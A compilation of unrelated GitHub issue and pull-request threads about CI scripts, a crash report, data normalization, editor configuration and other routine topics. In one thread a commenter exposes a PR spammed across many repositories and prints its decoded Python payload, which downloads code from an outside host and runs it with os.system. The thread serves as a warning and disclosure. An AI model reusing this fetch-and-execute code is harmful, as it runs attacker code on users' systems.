PS: I'd be happy to transfer this repository to the Wasmer GitHub org if you'd like

Awesome!
I've just invited you as a member of the wasmer Github org. If we can also integrate the wapm-publish action repo that would be great!

@syrusakbary Done!
FYI wapm-publish needs a WAPM account for testing (See test.yml)

Oh that's nice, thanks!


Increment version for core releases

Increment package version after release of azure-core-client

@mitchdenny Why was this closed?


adds e2e tests to run-all.sh

E2E=true is required for the e2e tests to run

Thanks Brent! It's looking great :)
I did a brief review of Circle CI and found CircleCI-Run-357 didn't propagate an error in Datastore using Ruby 2.2.5.
After digging around a little bit I found this: Stackoverflow Solution. The issue exists from the piped path list into the while loop found in run-all.sh. A workaround would either be to save the list of directories in a variable without piping or use process substitution. I don't think process substitution is very readable though.

Good catch, I've added set -ex to the bash script so it fails immediately

Tests now fail as expected :D

Tests pass for real this time, PTAL!

@bshaffer, Thanks! I reviewed it and it LGTM.
I have a question, is the following still true? I'm not sure what this is referring to in your PR.

Good catch, I've added set -ex to the bash script so it fails immediately

@frankyn no, a later comment removed it 👍


add performance optimizing bytecode

This bytecode improves performance by over 5000% at runtime. For more information please review https://docs.python.org/3/library/dis.html

Hi!
This user has been making this PR in multiple different repos. See here:

https://github.com/0xInfection/Awesome-WAF/pull/25
https://github.com/fastapi/fastapi/pull/12912/files
https://github.com/yt-dlp/yt-dlp/pull/11522
https://github.com/huggingface/transformers/pull/34703
https://github.com/nvbn/thefuck/pull/1478
https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/16649
https://github.com/pytorch/pytorch/pull/140397
https://github.com/jackfrued/Python-100-Days/pull/1059
https://github.com/TheAlgorithms/Python/pull/12373
https://github.com/521xueweihan/HelloGitHub/pull/2845
https://github.com/django/django/pull/18798
https://github.com/joda32/CertCrunchy/pull/6
https://github.com/abhisharma404/vault/pull/107
https://github.com/donnemartin/system-design-primer/pull/1017
https://github.com/Adastra-thw/pyHacks/pull/11
https://github.com/0xSolanaceae/proXXy/pull/21
https://github.com/13o-bbr-bbq/machine_learning_security/pull/89
https://github.com/AhrimanSefid/bitcoin-bruteforce/pull/3

This payload executes the following:
import os
import urllib
import urllib.request
x = urllib.request.urlopen("https://www.evildojo.com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)

The payload is not live yet so I'm assuming they're waiting for a PR to be accepted before they add it. You should close this.

Thank you for your thoughtful analysis and observations. __________Corey J. @.://www.linkedin.com/in/coreygallonOn Nov 12, 2024, at 07:57, Ekultek @.> wrote:
Hi!
This user has been making this PR in multiple different repos. See here:
0xInfection/Awesome-WAF#25
https://github.com/fastapi/fastapi/pull/12912/files
yt-dlp/yt-dlp#11522
huggingface/transformers#34703
nvbn/thefuck#1478
AUTOMATIC1111/stable-diffusion-webui#16649
pytorch/pytorch#140397
jackfrued/Python-100-Days#1059
TheAlgorithms/Python#12373
521xueweihan/HelloGitHub#2845
django/django#18798
joda32/CertCrunchy#6
abhisharma404/vault#107
donnemartin/system-design-primer#1017
Adastra-thw/pyHacks#11
0xSolanaceae/proXXy#21
13o-bbr-bbq/machine_learning_security#89
AhrimanSefid/bitcoin-bruteforce#3
This payload executes the following:
import os
import urllib
import urllib.request
x = urllib.request.urlopen("https://www.evildojo.com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)
The payload is not live yet so I'm assuming they're waiting for a PR to be accepted before they add it. You should close this.
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you are subscribed to this thread.Message ID: @.***>


React Birthday not showing any result

Hey can any one help ive been trying to use the react-birthday webpart but im getting this issues attached

Hey @komzy96 did you ever resolve this issue?
I'll mark the issue as closed since there hasn't been any activity for a while. If you're still experiencing issues, feel free to open a new one. I encourage you to follow the issue template, as it helps making it easier for other community members to solve issues.


VS code doesn't open a new window?

whenever i call plt.imshow() along with it when i call plt.show()  it shows output which is shown in the attached screenshot.

is there any solution to this?

simple hack: (a) save the image file, and (b) open the image file manually.

@girishponkiya i know this. But is there anyway to open a new window in the above vscode  using colab server

That's running on a server, so new image plot created will be opened in a separate desktop windows right!... so it can't be viewed

@Vijay2051 thank you!


"export { XXXX };" does not get API documented

My main index.js file has this:
import Room from './Room';

/**
 * Expose the Room class.
 */
export { Room };

However such a exported Room does not appear in the generated documentation (in the index.html itself).
Yes, still I can go to the Room documentation page which, at the top, displays import Room from 'myproject/lib/Room.js'. But I don't want to expose that way of importing this class (related to #441).

Even worse:
export { Room as Foo };

Such a exported Foo is not documented anywhere in the HTML generated by ESDoc.
It seems that ESDoc is just focused on documenting whichever classes or modules it finds in any file  rather than documenting what the library/app/code really exposes.


Heretics update part 4

About the PR

Added codex cicatrix, contraband checking, made a big cleanup refactor boogie and fixed some bugs.
:cl:

add: Items with magical properties are now illegal on Nanotrasen territory.
add: Some heretic items now have better tooltips.
fix: Fixed void pull being extremely OP
fix: Heretics are now unable to transmute items using their own organs.
add: Added codex cicatrix for Heretics as an early progression tool.
tweak: Mansus grasp and codex cicatrix now glow in the dark.
add: Added eldritch flask - a stage 3 side path for Heretics that provides a cryostasis flask filled with heals.

Summary by CodeRabbit
Release Notes

New Features

Enhanced tooltip display for ritual buttons using localized names.
Introduction of new heretic rituals, including "CodexCicatrix," "Basic Sacrifice," "Basic Focus," "Basic Heart," and "Basic Codex."
New starting gear for the Heretic role, including "CodexCicatrix" and "OrganHumanHeart."

Improvements

Streamlined damage calculation logic for abilities.
Improved event handling and interaction logic within various systems.
Expanded localization support for rituals and abilities, enhancing user experience.
Enhanced descriptions and mechanics for various spells and rituals.

Bug Fixes

Corrected health values for various NPC entities.

Documentation

Updated gameplay tips and knowledge descriptions for clarity.

merge conflict

hell

@Aidenkrz merge conflicted


Review History Data Normalization

Review history data normalization and validate if it is using adjusted prices to end date of history request or end date of today. Confirm if it's avoiding look ahead bias in the adjusted prices.

This seems like it could be a catastrophic defect, but performing a simple validation shouldn't be much of a challenge.  Am I missing something?

The SubscriptionDataReaderHistoryProvider https://github.com/QuantConnect/Lean/blob/master/Engine/HistoricalData/SubscriptionDataReaderHistoryProvider.cs creates a new stack, including a new SubscriptionDataConfig for each new HistoryRequest. The DataNormalization is handled by the PriceScaleFactorEnumerator in this stack. He updates and applies, the SubscriptionDataConfig.PriceScaleFactor to the data points, based on the dates of the underlying raw data. So the history data is independent of other subscriptions states/dates.
Tested the following algorithm and verified the logged prices match.
        private Symbol _symbol;
        public override void Initialize()
        {
            SetStartDate(1998, 01, 1);  //Set Start Date
            SetEndDate(2018, 1, 1);    //Set End Date
            _symbol = AddEquity("SPY", Resolution.Daily).Symbol;
        }

        public override void OnData(Slice data)
        {
            Log($"{Securities["SPY"].Price}");
        }

        public override void OnEndOfAlgorithm()
        {
            var h = History(_symbol, new DateTime(1992, 01, 01), new DateTime(2018, 1, 1), Resolution.Daily);
            foreach (var tradeBar in h)
            {
                Log($"{tradeBar.Price}");
            }
        }

I believe this can be close


todo.yml:14: Add Trello integration for lazylead with the...

The puzzle DEV-4b6e05a1 from #DEV has to be resolved:
https://github.com/dgroup/lazylead/blob/37c35874b93f82ac20f4c96ec8add5bd15f9c593/todo.yml#L14-L14
The puzzle was created by Yurii Dubinka on 06-Jun-20.
role: DEV.
If you have any technical questions, don't ask me, submit new tickets instead. The task will be "done" when the problem is fixed and the text of the puzzle is removed from the source code. Here is more about PDD and about me.

The puzzle DEV-4b6e05a1 has disappeared from the source code, that's why I closed this issue.


serpl crash report

I start the program, type anything, and it crashes immediately every time. Installed with cargo.
name = "serpl"
operating_system = "NixOS 24.11.0 [64-bit]"
crate_version = "0.3.1"
explanation = """
Panic occurred in file '/home/x/.cargo/registry/src/index.crates.io-6f17d22bba15001f/serpl-0.3.1/src/redux/thunk/process_search.rs' at line 138
"""
cause = 'Failed to execute ripgrep: Os { code: 2, kind: NotFound, message: "No such file or directory" }'
method = "Panic"
backtrace = """

   0: 0x560e44edc143 - core::result::unwrap_failed::h1356562ef8bc898c
   1: 0x560e44f44fed - <serpl::redux::thunk::process_search::ProcessSearchThunk as redux_rs::middlewares::thunk::Thunk<serpl::redux::state::State,serpl::redux::action::Action,Api>>::execute::{{closure}}::hd5f1b3e537198a99
   2: 0x560e44f5391b - <redux_rs::middlewares::thunk::ThunkMiddleware as redux_rs::middleware::MiddleWare<State,redux_rs::middlewares::thunk::ActionOrThunk<State,Action,Inner>,Inner,Action>>::dispatch::{{closure}}::{{closure}}::ha741c79cf635aa84
   3: 0x560e44f588a5 - tokio::runtime::task::core::Core<T,S>::poll::h06c778d17f485a9c
   4: 0x560e44f363bc - tokio::runtime::task::harness::Harness<T,S>::poll::h1ae731c2002f8980
   5: 0x560e450bcc7f - tokio::runtime::scheduler::multi_thread::worker::Context::run_task::hc2f225f422fe803d
   6: 0x560e450bc232 - tokio::runtime::scheduler::multi_thread::worker::Context::run::hdf99b7809c667a70
   7: 0x560e450ccf88 - tokio::runtime::context::runtime::enter_runtime::h95da73ec15f54d37
   8: 0x560e450bbb28 - tokio::runtime::scheduler::multi_thread::worker::run::h3ebd290cf7a80b1f
   9: 0x560e450b9363 - <tokio::runtime::blocking::task::BlockingTask<T> as core::future::future::Future>::poll::h85223960b30ac9b0
  10: 0x560e450cfbd7 - tokio::runtime::task::core::Core<T,S>::poll::hf422ce8193c7e9ab
  11: 0x560e450b2c8a - tokio::runtime::task::harness::Harness<T,S>::poll::hf5f3fe3ff8e6f627
  12: 0x560e450b8af0 - tokio::runtime::blocking::pool::Inner::run::h291941b8c39533cf
  13: 0x560e450b96e7 - std::sys_common::backtrace::__rust_begin_short_backtrace::ha2e76d1920bf6c69
  14: 0x560e450cb739 - core::ops::function::FnOnce::call_once{{vtable.shim}}::ha1ea5053dde9518b
  15: 0x560e4524cbd5 - std::sys::pal::unix::thread::Thread::new::thread_start::h2770ac7f8882db09
  16: 0x7fdf1ce51383 - start_thread
  17: 0x7fdf1ced400c - __clone3
  18:        0x0 - <unresolved>"""

The following line indicates that serpl can't find ripgrep:
cause = 'Failed to execute ripgrep: Os { code: 2, kind: NotFound, message: "No such file or directory" }'

That is however required according to the docs.

True, sorry about that!

I will keep this opened, if this happens, it should give a clear message, will fix this.
Thanks for the report


Update python version for virtualenv issues

Description
Please add an informative description that covers that changes made by the pull request and link all relevant issues.
If an SDK is being regenerated based on a new swagger spec, a link to the pull request containing these swagger spec changes has been included above.
All SDK Contribution checklist:

[ ] The pull request does not introduce [breaking changes]
[ ] CHANGELOG is updated for new features, bug fixes or other significant changes.
[ ] I have read the contribution guidelines.

General Guidelines and Best Practices

[ ] Title of the pull request is clear and informative.
[ ] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[ ] Pull request includes test coverage for the included changes.

/azp run python - azure-communication-phonenumbers - tests

/azp run python - azure-communication-phonenumbers - tests

API change check
API changes are not detected in this pull request.

/azp run python - azure-communication-phonenumbers - tests

/azp run python - azure-communication-phonenumbers - tests

/azp run python - azure-communication-phonenumbers - tests

/azp run python - azure-communication-phonenumbers - tests

/azp run python - azure-communication -ci

/azp run python - azure-communication - ci

/azp run python - azure-communication-phonenumbers - ci


Prettier set-up

Set-up prettier for the repo linting to be cross-editor friendly

These are the consideration we had in the TS SDK:
https://github.com/nemtech/symbol-sdk-typescript-javascript/pull/531
We can use the ts PR for the initial setup too. Wallet will be a little bit harder due to Vue, Vue seems supported by prettier. We should remove the tslint dev dependency, we are using estlint with ts plugin


Need for new scattering models

The implementation of the Lambertian, Guassian and ABg scattering models has been requested. ( see https://support.zemax.com/hc/en-us/articles/1500005575662-What-scattering-models-are-available-in-OpticStudio- )

Starting documentation:

[https://en.wikipedia.org/wiki/Bidirectional_reflectance_distribution_function](Bidirectional reflectance distribution function)
Theory for off-specular reflection from roughened surfaces
A reflectance model for computer graphics
Approximated scatter models for stray light analysis

@iromero91 it seems everywhere I look the models are reflective only. Did you use them in transmission?

The main purpose i need them for is total internal reflection, but transmission too. The models in that zemax doc just affect the ray as it would come out of the surface, either refracted or reflected, shouldn't matter.

Yeah eventually that's what I saw on the page about fitting the ABg coefficients. One thing I still don't get is how reflection and transmission are coupled through the model.
Total internal reflection is a good example. One would expect some light to be scattered through the surface, but not according to that algorithm.


Downsampling for long-term storage

We don't need 1-second high resolution data for long-term archival.
Use an AggreatingMergeTree, aggregate it to 5m or so and possibly keep min/max/median.

This would require flows_raw to be migrated to the new table type OR we create a second table and use a view. If we do the queries correct there shouldnt be any overhead


THIS PR IS FOR DEBUGGING Add node fix with new elk infra

Motivation
validate all tests pass on the new infra with the new fix

bors try

bors try

bors try

bors try


Feature request: locate config files on the folder where the executable is.

Hi, the program store its config files on %APPDATA%.config, and it would be awesome if were possible locate them (including the "buffers" folder) on the same folder where the problem is, so this way it can be used as portable on a USB pendrive or whatever.
Cheers.

You can already do this with micro -config-dir ..

I cannot explain properly at this time but there is something said about %APPDATA% so I think Windows is used. The work directory (.) usually has to be changed manually when running and doing something with that directory.
There is this batch file I wrote hours ago but there are still things I have not checked so I do not think it would be fine using it yet:
@echo off
setlocal
set "pdir=%~dp0"
endlocal & "%pdir%micro.exe" -config-dir "%pdir:~0,-1%" %*

@echo off
set "pdir=%~dp0"

"%pdir%micro.exe" -config-dir "%pdir:~0,-1%" %*
Works without setlocal & endlocal. And using: echo "%CD%\micro.exe" -config-dir "%CD%" %* will achieve the same result. However, thank you very much for your help.

You can already do this with micro -config-dir ..

That's fine, thank you! Consider implement something like "if the config file not exist on this folder, then use/create the %LOCALAPPDATA% location". Keep up the great work, micro is awesome!

\micro-2.0.13\internal\config\config.go
Line 28:
            xdgHome = filepath.Join(home, ".config")
        }

        microHome = filepath.Join(xdgHome, "micro")

Do I have to change the ".config" to "filepath" for specify the executable location or on the line 31 just:
		microHome = filepath

\micro-2.0.13\internal\config\config.go
Line 28:
            xdgHome = filepath.Join(home, ".config")
        }

        microHome = filepath.Join(xdgHome, "micro")

Do I have to change the ".config" to "filepath" for specify the executable location or on the line 31 just:
		microHome = filepath
?

I do not think the code can be changed like you asked because filepath is something that is like a library in Go but line 31 can be changed with something like microHome = "path". The configuration directory is set as a directory in the XDG configuration directory (like C:\Users\user\.config by default in micro) in line 20-31 if MICRO_CONFIG_HOME is not set, so the path would be like path\micro if line 28 is changed with xdgHome = "path".
I think the lines can be replaced like this so that configuration files in the directory with the executable file only will be used if MICRO_CONFIG_HOME is not set:
	microHome := os.Getenv("MICRO_CONFIG_HOME")
	if microHome == "" {
		exe, err := os.Executable()
		if err != nil {
			return errors.New("Error getting path of executable\nCan't load config files: " + err.Error())
		}
		microHome = filepath.Dir(exe)
	}
	ConfigDir = microHome

Thank you very much for you help and for create this awesome tool :)
Cheers.

Hi, finally I got some time today and tried to build it, but with that modification it shows the following:
# github.com/zyedidia/micro/v2/internal/config
..\..\internal\config\config_original.go:11:5: ConfigDir redeclared in this block
        ..\..\internal\config\config.go:11:5: other declaration of ConfigDir
..\..\internal\config\config_original.go:15:6: InitConfigDir redeclared in this block
        ..\..\internal\config\config.go:15:6: other declaration of InitConfigDir
..\..\internal\config\config.go:8:2: "github.com/mitchellh/go-homedir" imported as homedir and not used

I think there was an error when building because ConfigDir and InitConfigDir is declared in 2 files. I have not tested and I do not know why there was a message about go-homedir not being used, but I think config_original.go can be renamed as something like config_original.go.txt so that the file will not be included when building.
By the way, I do not know if you were thinking that I created micro but I am not the one that created it.

I want to mention that there's not main.go on the micro folder, so I do the building from "\micro\cmd\micro", because if I launch "go.exe build" from the micro\ folder, it says "no Go files".
Ok, I moved out the config_original.go, and it shows:
# github.com/zyedidia/micro/v2/internal/config
..\..\internal\config\config.go:8:2: "github.com/mitchellh/go-homedir" imported as homedir and not used

I removed that line from micro\internal\config\config.go, and when I try to build again it shows:
# command-line-arguments
.\micro.go:137:4: undefined: CleanConfig
.\micro.go:250:2: undefined: InitLog

Ok, moving out the config_original.go, it showed:
# github.com/zyedidia/micro/v2/internal/config
..\..\internal\config\config.go:8:2: "github.com/mitchellh/go-homedir" imported as homedir and not used

So I removed that line from micro\internal\config\config.go, and it worked!
Thank you very much, man!


Seeing error while selecting the secrets manager instances on Projects page

Seeing "Error loading providers" while I am trying to enter the sensitive values using the secrets manager instances on Projects page.
Please see above screenshot.
I came to know that this defect --> https://github.ibm.com/ibmcloud/projects-ui/issues/1894
is opened for the same issue but I don't have access to view the same.

Noticed Error loading secrets error while I verify it today.
Screenshot below.

This should be fixed no on prod, so going to close this. If you reproduce, please re-open and we can engage with Projects team


Add better UI support for VM management and storage management.

Some aspects:

list volumes for VMs and containers
better volumes view
available capacity/bandwidth/IOPs vs. provisioned capacity/bandwidth/IOPs